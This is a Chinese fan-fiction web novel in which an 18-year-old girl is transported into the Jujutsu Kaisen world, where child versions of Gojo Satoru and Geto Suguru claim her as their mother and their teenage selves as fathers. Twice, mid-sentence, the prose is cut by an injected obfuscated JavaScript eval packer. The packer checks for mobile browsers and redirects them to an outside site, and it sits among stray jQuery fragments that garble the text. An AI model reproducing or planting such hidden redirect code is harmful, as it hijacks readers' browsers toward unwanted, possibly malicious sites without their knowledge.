《[咒回]开局被幼年五夏认妈后》 1. 1.穿越喜当妈 沈清荷现在整个人都是懵的。 就在五分钟前,她还和闺蜜们在涩谷街头进行着愉快的“圣地巡礼”,下一秒,天空骤然扭曲,再睁眼时,面前赫然是一只流着口水、形态狰狞的咒灵。 她脑子里嗡的一声,立刻想起漫画设定:咒灵这玩意儿,物理攻击无效。 跑!必须跑! 脚步还没迈开,前方巷子里突然蹿出两道小小的身影,动作快得只剩下残影。只见他们一左一右配合,那咒灵连哀嚎都来不及,便化作黑雾消散。 沈清荷一口气还没松下来,那两个约莫五六岁的孩子已经转身扑向她,一左一右的紧紧抱住了她的大腿。 “妈妈!” 带着哭腔的童音齐齐响起,软糯、却像两道惊雷落在她耳边。 沈清荷:…… 等等,穿越姿势是不是有哪里不对? 她僵硬地低下头。 左边那个,白发柔软,一双苍蓝色眼睛即便被小圆墨镜遮住大半,也挡不住其中璀璨的光彩,是五条悟。虽然缩水成了六岁版本,但那独一无二的气质,绝不会错。 右边那个,黑发柔顺,紫色眼眸清澈,额前那缕刘海正随着他的动作轻轻晃动,是夏油杰。同样只有六岁大小的模样,却已能看出日后那份独特的温和,优等生的容貌。 所以,为什么幼年版的“五条悟”和“夏油杰”会抱着她的腿喊妈妈?! 她,沈清荷,芳龄十八,母胎单身至今,本命和白月光是松田阵平,梦想是“坐拥警校组,松田阵平第一顺位。” 她怎么可能,一跃成为两个未来“问题儿童”的“妈妈”? 她深吸一口气,试图让自己听起来冷静又可靠,“小朋友,你们认错人了!我不是你们的妈妈。” 腿上的两个“挂件”抱的更紧了。 她再吸一口气,搬出铁证,“你们看,我才十八岁,怎么可能有你们这么大的孩子?对不对?” “妈妈就是妈妈!”幼年悟想也不想,仰起小脸,墨镜滑下鼻梁,那苍蓝眼瞳里写满了固执和一丝不易察觉的委屈,“妈妈别怕,爸爸马上就来了。这次你不要再离开我们了,好不好?” “妈妈。”幼年杰的声音更轻,却同样坚定,他小心地攥紧她裤腿的布料,“我和悟会保护妈妈的。爸爸和父亲也会的。” 沈清荷望着两张带着一脸期盼的小脸,只觉得眼前一黑。 这穿越开局,未免也太“惊喜”了! 她尚未从这离谱的情况中回神,巷口的光线便两道修长的身影再次遮住。 “哟,老子就说这里有咒力残秽,果然没错。”轻佻散漫的少年音响起,带着惯有的玩世不恭。 “嗯,不过看起来已经被解决了。”另一道温和些的嗓音接话,同样属于正处于变声期的少年。 沈清荷猛地抬头望去。 巷口逆光站着两个少年。一个身材高挑、白发醒目,鼻梁上架着那副标志性的小圆墨镜,嘴角勾着肆无忌惮的弧度;另一个人黑发半扎,额前那缕刘海随风微动,眼睛里带着几分审视与探究,望向巷内。 他们身上穿着她在漫画里看过的无比熟悉的,东京咒术高专的校服。 是dk时期的五条悟和夏油杰。 沈清荷的大脑彻底宕机。 活得、少年版的,五条悟和夏油杰? 现在是什么时间点?按照原著推断,大概是2006年左右? 混乱的思绪还未厘清,她便感觉到腿上一轻,幼年悟松开了紧紧环抱的双手。 只见这个小豆丁,脸上瞬间切换成天真无邪与饱含巨大委屈的表情,迈开小短腿,“噔噔噔”的就朝着五条悟冲了过去,一把抱住了那条穿着黑色制服裤子的长腿。 他仰起那张和成年版极为神似,此刻却奶气十足的小脸,用足以让整条巷子都听得一清二楚的、带着明显哭腔的奶音,响亮地喊道: “爸爸!我们和妈妈终于找到你了!” 空气仿佛在这一刻凝固。 沈清荷彻底石化。 夏油杰脸上那惯常的、游刃有余的温和笑容,肉眼可见的僵了一瞬。 他缓缓的、极其缓慢地转过头,看向身边的挚友,眼睛眯起,声音里带着一种难以置信、以及某种山雨欲来前的,“有趣极了”的平静,“悟?” 五条悟脸上那玩世不恭,来自天下第一的表情彻底碎裂。小圆墨镜滑到鼻梁中间,露出一双写满了“我是谁?我在哪?发生了什么?”的苍蓝眼睛。 他僵硬地低下头,看着腿上挂着的,与自己发色瞳色如出一辙、活像缩小手办成精的小豆丁,又懵的抬头,看向巷子里那个一脸空白,显然也处于震惊风暴中心的黑发少女,以及少女腿边里另一个正用紫色眼睛“怯生生”“依赖十足”地望着自己的黑发小男孩。 “哈???” 十六岁的、号称最强的问题儿童五条悟,发出了有生以来最堪称惊天动地、怀疑人生的一声呐喊。 “老子什么时候有了这么大的儿子!还是两个?!老子自己怎么不知道啊喂!” 五条悟那句石破天惊的呐喊还在狭窄的巷子嗡嗡回响,震得沈清荷本就迟钝的神经又空白了几秒。 在一片足以令人窒息的混乱中,她终于强行重启了自己的语言系统。 深呼吸,沈清荷,冷静、逻辑,用你十八年来接受的唯物主义教育说服他们! 她先是轻轻但不容质疑地将还依偎在她腿边的幼年杰稍微推开一点距离,然后挺直腰背,目光直视巷口那两位世界观显然正在经历重塑的dk,果断举起一只手,做了一个清晰有力的“暂停”手势。 “请等一下!”她开口,声音尽量保持着平稳,却能听出几分试图摆脱荒唐局面的无奈,“两位同学,请先听我说。” 她语速平缓,条理清晰,“首先,我必须郑重声明,我完全不认识这两个孩子。”她指了指腿边被她推开些、正用湿漉漉紫眸看着她的幼年杰,又指向那个正牢牢挂在五条悟腿上、甚至开始疑似把眼泪鼻涕混合物往制服裤子上蹭的幼年悟。 “我本人,只是一个……普通的、不幸迷路的游客。”她开始现场编造,手指有些不确定的指了指天空,脸上摆出真诚,“我也不知道具体发生了什么,好像一下眨眼就从别的地方‘掉’到这里了。脑袋到现在还晕乎乎的。结果刚站稳,这两个孩子就突然出现,然后就如你们所见。” 她顿了顿,观察着两位dk3脸上的表情,一个仍处于灵魂出窍的状态,另一个则眯着眼睛,看不出情绪。她必须加强论证。 “逻辑!同学们,我们讲讲逻辑!”她试图用理性之光穿透这离谱的迷之设定,“我今年刚满十八岁。”她扫了一眼面前的两位dk,“而你们两位,看模样最多十六七岁,至于两个小家伙,怎么都有五六岁。” 她的目光在两位少年和两个幼崽之间来回扫视,抛出关键性的质疑,“就算我们暂且抛开所有常理,假设这里真的存在某种……匪夷所思的血缘关系。那时间线呢?难道我十二岁就能……”她艰难的咽下那个词,脸上带着几分复杂和荒谬,“而且还是两个?这完全违背了基本生物学规律,更不符合正常人类社会的认知与伦理!” 越说,她越觉得自己站在了科学与道德的制高点上,语气也随之染上了某种穿越前身为守法公民的笃定,“退一万步讲,这也严重违背了我个人的成长教育背景和人生原则!我所接受的家庭教育和社会规范,绝对不会允许这种……”她卡壳了一下,寻找着合适的词,“这种超乎想象的情况发生!” 不知是不是情绪使然,她背脊挺的笔直,眉眼间竟自然流露出一股从小在警察家庭氛围中熏陶出的、带点倔强的正直气场,试图用这无形的“正气”来对抗眼前魔幻的现实。 尽管这番逻辑严谨的申明在眼下这堪称魔幻的场景里,显得有那么一丝苍白和微妙。 巷子里又再次陷入一阵短暂的寂静。 夏油杰脸上那惯常的、仿佛面具般地温和笑容已然消失。取而代之的是一种混合了探究、玩味与事情“变得有趣了”的复杂神情。 他的目光先在沈清荷写满了“我是无辜路人”的脸上停留片刻,又缓缓划过紧紧依附着两位“父母”的幼崽,最终定格在自己那位快要抓狂的挚友身上。 他微微侧头,声音里带着一种刻意放缓的、几乎称之为“温和”的促狭,“悟,听起来,这位‘小姐’的提出时间悖论和生物学质疑,似乎比你的单方面否认,要稍微有说服力那么一点点呢?” “哈?杰你给老子闭嘴!”五条悟终于从“被强制当爹”的剧烈冲击中稍微夺回了一点神智,他低下头,恶狠狠地瞪着腿上那个“缩小版自己”。 幼年悟立刻抬起头,苍蓝的眼睛还挂着要掉不掉的泪珠,扁着嘴,用一种混合委屈、控诉和“爸爸,你怎么能不认我们。”的眼神看着他。 “喂!小鬼!快给老子松手!”五条悟试图晃动自己的长腿,想把这块突然黏上来的“小型挂件”甩开。但幼年悟抱的很紧,甚至把整张小脸都埋进他的裤腿布料里,声音闷闷地传出来,带着哭腔,“爸爸坏!想不要我们和妈妈了!” “谁是你爸爸啊!”五条悟几乎要抓狂,他胡乱抓了一把自己本就凌乱不羁的白发,然后猛地抬起头,六眼的目光透过小圆墨镜如同实质般的锐利地锁定沈清荷,试图从她身上找出破绽,“你!你说你不认识他们?那他们为什么一上来就喊你‘妈妈’?”他咬牙切齿,手指差点戳到幼年悟的脑门,“还喊来自老子‘爸爸’!!!” 他的视线又扫向安静站在沈清荷身边的幼年杰,对方那紫色的眼睛正一眨不眨地望着他,眼神里有着孩童式的依赖,以及某种更深层的、让现在的他感到莫名不适的复杂情绪。 五条悟的眉头拧地更紧了,“还有杰,这小子为什么用那种奇怪的眼神看老子?!” 仿佛是为了回应他的质问,幼年杰轻轻拽了拽沈清荷的衣角,然后抬起小脸,望向那位暴躁的白发少年,声音不大,却异常清晰,带着孩童特有的软糯,吐出了一个更具冲击力的称呼。 “父亲。” 空气,再次凝滞。 两位风华正茂、本该肆意享受青春的dk,彻底石化在了巷口熹微的光线里。 夏油杰唇边的笑意加深,他抬步上前,在幼年杰面前蹲下,视线与之平齐,语气是恰到好处的温和,甚至带着点诱哄的意味,“小朋友,可以告诉哥哥,你们叫什么名字吗?从哪里来?为什么会认这位姐姐是妈妈,那位白头发的哥哥是爸爸呢?”他巧妙避开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041398|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个更正式的“父亲”称呼。 幼年杰望着眼前这张与自己未来轮廓依稀相似,却更显青涩的脸,神情认真的不像个孩子,“我叫夏油杰。”他清晰的说出自己的名字,然后指向五条悟腿上的幼年悟,“他叫五条悟。我们从很远很远的地方来找妈妈和爸爸。”他的逻辑简单而闭环,带着孩童特有的笃定,“妈妈就是妈妈,爸爸就是爸爸、父亲就是父亲。”仿佛这是天地间最不言自明的真理。 “爸爸?父亲?”夏油杰低声重复,眉心微蹙,尚未完全厘清这两个称呼在小孩语境中可能存在的微妙区别,就听见幼年杰的声音再度响起。 幼年杰抬起小手,先是指了指蹲在面前的夏油杰,清晰地说,“爸爸。”然后,小手指向不远处的五条悟,同样清晰的语调说,“父亲。” 夏油杰脸上的笑容,瞬间凝固了。 不仅仅是因为过于清晰的“爸爸”与父亲的指向性称呼,更是因为名字。 同名同姓? 他的眼睛微微眯起,审视的目光再次落回幼年杰身上。这孩子回答问题时的神态,有种超越年龄的沉稳,提及姓名时的自然流畅,更是毫无作伪痕迹。咒力感知反馈的结果也很明确:虽然咒力相当精纯,但量级的确确实实属于孩童范畴,术式波动被很好的收敛着,暂时无法探知具体。 另一边,五条悟的耐心显然已经告罄。他稍微用了点巧劲,终于把紧紧扒着自己的幼年悟“摘”了下来,拎着小孩后衣领提到与自己视线平齐的高度。六眼毫无保留的启动,上上下下、里里外外的“审视”着这个自称“五条悟”的小豆丁。 “五条悟?嗯?跟老子同名?”他凑近了些,小圆墨镜几乎要碰到幼年悟的鼻尖,苍蓝色的六眼隔着镜片,锐利地看着那双瞳色、此刻写满无辜的眼睛,“小子,你最好老老实实交代,谁派你们来的?什么无聊的恶作剧?还是什么新型诅咒的产物?” 被拎在半空的幼年悟蹬了蹬小腿,非但没有露出害怕的神色,反而小嘴一撇,那双蓝眼睛里瞬间又蓄满了水汽。 他猛地抬头,朝着沈清荷的方向奋力的伸出双手,用包含委屈与控诉的哭腔大喊。 “妈妈!爸爸他欺负我!他凶我!” 被称作“妈妈”且持续处于风暴中心的沈清荷,内心只剩下一个念头在疯狂刷屏: 就算是未来最强,你这六岁版的戏是不是也太足了啊喂!! 可她没法真的袖手旁观。 沈清荷无声地叹了口气,认命般的上前一步,踌躇片刻,还是伸出手,尝试从五条悟手中接过了那个还在假哭的白色团子。 五条悟瞥了她一眼,没怎么犹豫就松了手,就像是甩掉了一个烫手山芋。 幼年悟一落入她怀中,立刻像只找到了栖身之所的树袋熊,手脚并用的紧紧搂住她的脖子,温软的脸颊埋进她的颈窝,还配着小声的,一抽一抽的吸气声,可怜极了。 沈清荷抱着怀里这份沉甸甸的、温热又真实的小身体,心情复杂的难以言喻。 脑海里仿佛有两个小人在激烈打架。 一个在尖叫着,“快撇清关系!这是混乱的根源!” 另一个却在弱弱地提醒,“这可是幼年五条悟!活的!软的!在依赖你。还在发抖?” 她几乎是本能的抬起手,轻轻拍着幼年悟的后背,动作带着连自己都未察觉的安抚意味。 她没有立刻注意到,怀里的幼崽在她触碰的瞬间,身体几不可察的僵硬了一瞬,随即把脸埋得更深,只露出微红的耳尖。 沈清荷强行按下心头翻涌的情绪,她重新看向两位显然还在观察局势的dk,决定采取最务实的策略,“不管你们信不信,我对目前的情况真的毫不知情。不过,”她顿了顿,斟酌着用词,“这两个孩子似乎有些特别,刚才还帮忙处理了一个不太好的东西,而且他们现在这样……” 她示意了一下紧搂着自己的幼年悟,和旁边安静但目光始终跟随的幼年杰,“看来暂时也认定了我。这里终归不太安全,我们能不能先离开这个地方再慢慢说?”她提出建议,目光带着合理的请求与一丝不易察觉的紧绷。 五条悟和夏油杰对视了一眼,无声的信息在空气中交换。 片刻。 夏油杰上前半步,脸上重新挂起那副极具欺骗性的温和笑容,声音平稳的提议,“这位小姐,如果你暂时没有更好的去处,不介意的话,可以先随我们回高专。那里更安全,也方便我们把事情弄清楚。”他话语周全,既提供解决方案,也留下了足够的转圜余地,同时暗含了“在查明真相前需要暂时看顾”的意味。“至于你迷路的问题,我们也可以协助你联系相关的机构或家人。” 沈清荷闻言,心头微微一松,随即又立刻提起。 去高专?岂不是直接跳进咒术届的核心旋涡? 但眼下似乎没有更好的选择。 她点了点头,尽量让表情显得感激又带着点无措,“那就麻烦你们了。” 在她未曾留意的视角盲区,被她抱在怀里的幼年悟,与静静站在一旁的幼年杰,极快的交换了一个眼神。 那眼神里褪去了孩童的懵懂与依赖,闪过一抹转瞬即逝的、远超年龄的深沉与决意。 别怕,清清/小清。这次,我们绝不会再让悲剧重演。 2. 2.入住高专 回高专的路上,全程诡异的安静。 她和夏油杰,以及“熟睡”的幼年五夏一同坐在后座。两个小家伙一左一右的紧紧挨着她,脑袋靠在她的身侧,眼睛紧闭,呼吸均匀,看似陷入了深度睡眠,但他们的小手却无意识的、牢牢攥紧她的两侧的衣袖。 那是一种全然依赖、又隐隐透出不安的姿态。他们似乎疲倦极了,仿佛很久未曾好好睡一觉,偶尔从唇齿间溢出模糊不清的呓语。每当车身轻轻颠簸,攥着她衣袖的力道便会下意识的收紧几分。 “喂,”坐在副驾驶的五条悟突然开口,打破了车内令人窒息的沉默。 他转过头看向沈清荷,小圆墨镜后苍蓝眼眸直接锁定她,语气直接的近乎失礼,“你叫什么名字?从哪里来?具体怎么掉下来的?说清楚。”一连串的问题,不带半点迂回。 “沈清荷,十八岁。”她直接报上真名,反正这个世界估计也没有人认识。 “从哪里来?我说我来自一个没有咒灵的世界,你们信吗?”她试探性的抛出了一个半真半假的答案。 五条悟和夏油杰的眼神同时一凝。 五条悟搭在椅背上的手指几不可察的动了一下;夏油杰一直维持着看向窗外的侧脸转了过来,凤眼中闪过一丝锐利的光。 “没有咒灵的世界?”夏油杰缓缓重复,目光落在她的脸上,试图捕捉任何一丝谎言的痕迹,“那是什么样的?” “就是普通人正常上学、工作、生活,最大的烦恼可能是考试不及格或者工作压力大。”沈清荷尽量描述的平静,“像刚才那种怪物,只存在于故事和影视作品中。” 她说到这里,脑海中浮现出了闺蜜的一张张脸,心头掠过一丝真实的烦闷与担忧。 她将目光落在窗外飞速倒退的、不是那个世界的陌生街景,声音带着些难以抑制的艰涩,“至于我怎么掉下来的?就是在涩谷、一场毫无预兆的空间扭曲?甚至没有坠落感,眼前一黑,再醒来,就已经在那条巷子里了。” “穿越?”五条悟挑眉,这个词汇对他来说并不算陌生,咒术界也有关于空间转移和异界召唤的存在,但涉及活人且毫无咒力的波动,极为罕见。 “可以这么理解吧。”沈清荷点头,神色平静的看向他们,“我知道这听起来很荒谬。但这就是我的全部精力。没有隐瞒,因为我自己也一无所知,毫无头绪。” 因为这是她真实经历的,完全没有欺瞒的必要。 “那你为什么能够看见咒灵?”夏油杰的问题精准切中了要害,语气温和,却带着不容回避的姿态。 沈清荷心里一紧。 她知道这个问题避不开,“我不知道。”她选择了坦白一部分迷茫,这也是事实的一部分。 “我到了这里之后,就能看见了。也许是因为世界规则不同?或者我的灵魂对这类存在比较敏感?” 她努力回忆着原作里那些零星出现过的、因强烈情绪或特殊体质而偶然目击咒灵的普通人案例,勉强拼凑出一个听起来不那么离谱的理由。 总不能说她怀疑这是穿越的自带福利吧? 人家穿越就是各种金手指,而她就是能够看见咒灵? 这种穿越福利不要也罢! 话音刚落,沈清荷就感觉到五条悟的眼神落在她的身上,大概是在用“六眼?”观察她的咒力流动,还是灵魂状态? “妈妈一直都能看见。”睡醒的幼年杰声音里带着刚睡醒的软糯,他甚至轻轻的蹭了一下她的手臂,“只是以前我们住的地方没有这些东西。” 夏油杰瞳孔微缩,“以前?” 他的身体微微前倾,目光紧紧锁住幼年杰,“你们以前和妈妈在一起的时候?在哪里?” 幼年杰的声音低了下去,紫眸里蒙上一层真实的、属于孩子的失落与依恋,“在一个很安全、很暖和的地方……后来,妈妈不见了,我们找了很久。”他攥着沈清荷衣袖的手又收紧了些。 幼年悟也适时的“醒”了过来,靠着她另一侧胳膊,奶音掺杂着委屈和后怕,“爸爸和父亲也找不到妈妈,我们好害怕、好担心妈妈。” 沈清荷:又来了!这家庭伦理剧的剧本怎么还自带修整和强化的?还有“爸爸”和“父亲”这个称呼区别到底是怎么回事?怎么有一种在共享爸爸的感觉? 沈清荷清楚的看见dk五夏再次交换一个眼神,那眼神比之前的都还要复杂、疑虑以及被这种离奇设定逐渐勾起的更深层次的兴味。 沈清荷正想要开口就听见幼年悟的声音再次响起,他仰起小脸,蓝眼睛清澈的望着她,语气是孩童式的、充满保护欲的郑重。 “妈妈,别怕。”他顿了顿,目光似不经意的扫过两位dk,声音不大,却足够清晰,“爸爸和父亲,这次一定会保护好妈妈的。” “嗯。”幼年杰也轻轻点头,靠着她,声音平静却带着一种奇异的笃定,“妈妈,我们也会保护你。” 回到高专时,已经将近晚上九点,校园里的灯火稀疏,和普通校园的状态不同更添几分幽静。穿过长长的参道,来到主建筑前。 沈清荷意外发现幼年五夏似乎对这里并不陌生,幼年悟甚至还指着远处的模糊的训练场轮廓,小声对她说,“妈妈,那边……我以前……啊,是我梦里好像和爸爸在那里打过架。”他及时改口,但那个“梦”字,在寂静的夜里和咒术师超常的听力下,依稀清晰可闻。 走在前面半步的五条悟耳朵几不可察的动了一下,脚步未停,头却微微转了过来,“梦?” “嗯!”幼年悟用力点头,蓝眼睛在昏暗的光线闪着光,他伸出手比划着,“梦里爸爸好厉害,会用那种很亮很亮的光波,爸爸说过那是不同于苍和赫的招式,不过我记不住名字。”他形容地夸张又天真,完全是小孩子讲述奇幻梦境的模样。 五条悟的神色一滞,因为这的确就是他最近才想出来的一个新的招式,不过这个孩子会知道? 他压下心头的那点异样,又将目光落在眼前的和他如出一辙的小手办身上。 夏油杰察觉到五条悟的情绪,先是扫了一眼五条悟,又将目光落在幼年杰身上,他此刻只是垂着眼帘,看着脚下的石板路,仿佛没有听见幼年悟说的话,又或者,不想对此发表任何评论。 在dk五夏的带领下,他们走进了一个风格严肃的、堆满各种咒骸半成品的办公室,一个身材魁梧、带着墨镜、面容严肃的中年男人正等着他们。 如今五夏硝的班主任夜蛾正道,大概在明年就要成为高专校长,之后会一直担任高专校长到死。 压力瞬间倍增。沈清荷下意识的挺直腰背,将两个孩子稍稍护在身后。 幼年五夏却一点也不害怕,从她背后探出头,异口同声地喊道。 “夜蛾爷爷!” 沈清荷发现夜蛾正道原本严肃的表情明显僵了一下,墨镜后的眼睛似乎瞪大了些。 他的目光先是掠过她,又将目光落在幼年五夏身上,最后才将目光落回dk五夏身上。 “怎么回事?任务报告呢?这两个孩子和这位小姐是?”夜蛾正道的声音低沉有力。 五条悟双手插兜,语气随意,“路上捡的。大的这个迷路,小的两个……”他指了指幼年五夏,“非说她是妈妈,我是爸爸。”语气里的嫌弃和不耐烦毫不掩饰。 “不对。”幼年悟开口,他拉着沈清荷的衣角,“这是妈妈。”又指了指五条悟,“这是爸爸。”然后又将目光落在夏油杰身上,“这是父亲。” 幼年杰也拉紧她的衣袖,语气听起来随意,却带着几分依赖,“这是妈妈。”他看向夏油杰,“这是爸爸。”又将目光看向五条悟,“这是父亲。” 夏油杰的脸上的表情僵了一秒。 他上前一步,用更清晰条理的语气,简略汇报了巷子内咒灵被祓除,以及遇到沈清荷和两个自称“五条悟”“夏油杰”孩子的经过,包括沈清荷自称“穿越”和能看见咒灵的情况。 沈清荷发现夜蛾正道蹙着眉头,感觉到他锐利的目光落在她身上,“沈小姐,请详细说明你的情况,以及你和这两个孩子的关系。” 沈清荷深吸一口气,将路上想过的腹稿说出,“我叫沈清荷,来自一个与这里不同的地方。我们那里没有这种‘怪物’。”她斟酌着用词,“至于为什么能看见,在我的认知里,这可能类似于‘阴阳眼’。我外公家是道门正统,所以我天生对这种不干净的东西比较敏感,大概是因为来到这个地方,这个敏感点被放大了,所以能够看见这些东西。” 沈清荷顿了顿之后继续开口,“有可能是两个本质上比较相似所以我能看见。” 阴阳眼是沈清荷现编的,但是关于老祖宗的事不是编的,毕竟就算他们真的要去中国查,估计也查不到沈清荷这个人。 “至于这两个孩子,”沈清荷看向身边的幼年五夏,神色复杂,“我确实不认识他们。他们突然出现,叫我妈妈,还认定了五条君和夏油君。”她无奈摊手,“我完全无法理解。他们似乎对我比较依赖,所以我也不敢丢下他们。” 听着她的话,夜蛾正道的目光又落在幼年五夏身上。两个孩子表现的乖巧,幼年悟冲着他眨了眨那双标志性的苍蓝色瞳孔,幼年杰则是规规矩矩的鞠躬,“夜蛾爷爷好,我叫夏油杰,他是五条悟。我们和妈妈走散了,现在找到了。”逻辑清晰,礼仪周到,完全不像普通的六岁孩子。 沈清荷察觉到夜蛾正道的情绪,但作为来历不明的穿越者,如果被咒术界的那些老橘子知道,肯定会把她当做实验体解剖,御三家肯定对她这种来历不明的实验素材最感兴趣。 许是察觉到了她的紧张,她感觉到幼年五夏的小手握紧了她的手。 良久。 她听见夜蛾正道的声音响起,“沈小姐,鉴于你情况特殊,以及这两个孩子的存在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041399|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在查明真相之前,需要你们暂时留在高专监管范围内。”他的语气不容置疑,“悟、杰。” dk五夏看向他。 “在另行通知之前,由你们负责照看沈小姐和这两个孩子的生活起居,确保他们留在指定区域,不得随意离开高专范围。”夜蛾正道的目光扫过两个dk,“尤其是你们,悟、杰、弄清楚这到底是怎么回事,是你们当前的首要责任。” 五条悟尚未开口,幼年悟的声音就响了起来,“好耶!那可以和爸爸、父亲住在一起了!”他跑过去拉住五条悟的袖子。 五条悟一脸嫌弃的甩开,但没太用力。 幼年杰则是走到夏油杰身边,仰头问,“爸爸,我们和妈妈住在哪里?” 沈清荷的心提了起来。和高专问题儿童住在一起?那岂不是二十四小时处于监视状态? 夜蛾正道显然也考虑到了这一点,“女生宿舍那边还有空房间。离硝子不远,稍微收拾一下可以给沈小姐和孩子们暂住。悟和杰,你们住回自己宿舍,但需要随时待命,确保他们安全,并观察情况。” 他顿了顿,补充道,“硝子那边我也会打个招呼。” 也就是说,她要和幼年五夏住在一起,dk五夏住在他们自己的宿舍,两者之间有一定的距离,但是dk五夏被赋予了某种意义上来说,“监视者”的职责。 沈清荷悄悄松口气。有独立空间总比和两个dk挤在一起好。 而且,家主硝子也在附近?那位未来的神医,现在应该还是高专的学生,和五夏同级。 事情暂时这样定了下来。 离开办公室时,幼年五夏一左一右的牵着她的手,五条悟臭着脸跟在后面,夏油杰则是保持着微笑,仿佛对接下来的“保姆”任务颇有兴趣。 穿过夜色下的校园,前往独生宿舍区域,路上遇到了出来查看的家入硝子。 她穿着一身高专制服,短发利落,眼角下那颗痣非常显眼,眉眼间带着属于这个年纪少女的精致。 此刻她正用着珍稀动物般的眼神打量着她和身边的两个小豆丁,尤其是那两张熟悉又缩水的脸。 “你们两个果然是人渣吧!”家入硝子扫了一眼站在后面的dk五夏。 “硝子姐姐。”幼年五夏再次异口同声,声音清脆。 紧接着,幼年悟撇撇嘴,蓝眼睛里迅速蓄满要掉不掉的眼泪,用委屈的哭腔控诉,“硝子姐姐说的没错!爸爸就是人渣!爸爸不认我们,也不认妈妈!”他抽噎一下,小手指向身后脸黑如锅底的白发少年,“爸爸坏!爸爸还凶我!拎我脖子!” “我才不是你爸爸!”五条悟濒临崩溃地怒吼瞬间炸响,他一把抓乱自己的那头白发,几乎要跳起来,“老子十六岁!青春年少的十六岁!谁是你爸爸啊喂!” 幼年五夏被五条悟那声暴躁的吼叫声惊得同时一抖,下意识地更紧的抱住了沈清荷的手臂,小小的身体甚至微微瑟缩了一下,将脸埋向她身侧。 沈清荷几乎是本能的伸出手,轻轻拍了拍两个孩子的后背,动作间带着连她都未曾察觉到的保护。 站在一侧的家入硝子将这一切收入眼底,眉梢微挑,目光重新落回五夏身上,语气平淡却带着探究,“所以,这三位是?” “路上捡的。”五条悟抢答,语气里的不耐烦几乎要溢出来, “暂时需要照顾的‘客人’。”夏油杰微笑解释。 沈清荷迎上家入硝子打量的目光,主动开口,“你好,我叫沈清荷。接下来可能要打扰一段时间了。” “硝子姐姐,我是夏油杰,他是五条悟。”幼年杰介绍道,他又指了指身后的夏油杰,“这是爸爸。”又指了指那边一脸烦躁的五条悟,“那是父亲。” 沈清荷无奈抬手扶额,在家入硝子那瞬间变得意味深长、混杂着“果然如此”和“贵圈真乱”的复杂眼神中,她几乎是硬着头皮,跟着两位dk的指引,带着两个小尾巴来到了临时分配给她的房间。 夏油杰站在门口,脸上是无可挑剔的、属于优等生的客套笑容,温和却带着明显的距离感,“沈小姐请好好休息。如果有任何需要,或者发生什么特殊情况,可以喊我或者悟,我们就住在不远。” 沈清荷看着他点点头,还没有来得及道谢,就听见走廊里传来五条悟毫不掩饰的催促,“走了,杰!磨蹭什么!老子要回去把冰箱里那盒限量版的喜久福都吃完!” 目送着dk五夏离去的背影,沈清荷反手关上门。 她转过身,背靠着门板目光平静的投向房间中央的两个小家伙。 她走到他们的身边席地而坐,视线与两个孩子平齐。 她抱起手臂,看着他们,带着不容敷衍的认真,“说吧,你们到底是谁?” 她的身体微微前倾,语气平静却斩钉截铁,“我不是你们的妈妈,你们也不是我的孩子。现在已经不需要演戏了,告诉我真相!” 3. 3.最强的心思 没有得到预期的辩解或慌乱,两个小家伙只是沉默的看着她。 沈清荷深吸一口气将目光落在他们身上,“别再用‘妈妈’这种话来搪塞我。” “我需要知道真相。你们为什么缠上我?为什么叫我妈妈?你们对五条同学和夏油同学……那两个人……”她指了指门外五夏宿舍的方向,“到底是什么态度?‘爸爸’和‘父亲’的称呼又是怎么回事?” 话音刚落,沈清荷明显感觉到空气仿佛凝滞了一瞬。 良久。 沈清荷看见两个人同时向她走来,迈着小短腿走到她的面前。 他们没有像之前那样扑上来抱住她,而是站在她的面前,目光与她平视。里面没有了刻意伪装的懵懂与依赖,只剩下一种令人看不懂的、超越年龄的专注与执着。 幼年悟率先开口,声音不再是那种刻意的、带着奶气的撒娇,而是变得清晰、平稳,甚至带着一种郑重。 “你,就是我们的妈妈。” 幼年杰紧接着,语气同样认真,一字一句,仿佛在陈述世间最不可动摇的真理。 “无论你相不相信,无论发生了什么,这一点都不会改变。” 他们的眼神里没有闪烁、没有心虚、只有一种近乎虔诚、和一种深沉的悲伤?那些悲伤被很好的掩藏在孩童清澈的眼眸深处,却依然被敏锐的她捕捉到了一丝痕迹。 沈清荷愣住了。 她预想过很多种回答,也许是编造身世,也许是某种诅咒或术式的影响,也许是认错了人,但她没想到,得到会是如此直白、不加掩饰的肯定,而且两人的态度如此同步、坚定,仿佛在守护着某种不容置疑的信仰。 “这不可能!”沈清荷下意识的反驳,蹙着眉头,“我只有十八岁!我没有生育过!更没有和……”她顿了顿,把和“十六岁的五条悟和夏油杰”这种荒诞的可能性咽了回去,“总之,从生理和时间上都不可能!你们是不是被什么诅咒了?或者记忆出了错?” 她试图用理性的方式去破解这不合逻辑的执念。 幼年悟摇了摇头,白发随着动作轻轻晃动。他没有解释,只是往前走近一步,伸出小手,小心翼翼地、带着一种近乎珍视的力道,握住了沈清荷放在膝盖上的手。 他的手掌很小、很软、却很温暖,带着一种不容拒绝的依恋。 “妈妈的手,还是这么凉。”他低声说,像是自言自语,又像是在对她说,蓝眼睛里闪过一丝看不懂的心疼。 幼年杰也伸出手,覆在了沈清荷的另一只手上。他的手同样小而温暖,动作轻柔却坚定。 “妈妈。”幼年杰的声音很轻,却带着一种安抚力量,“不用害怕,也不用着急弄明白这一切。你只需要知道,我们是为你而的。我们会保护你,不会让任何东西伤害你,就像……你曾经保护我们一样。” 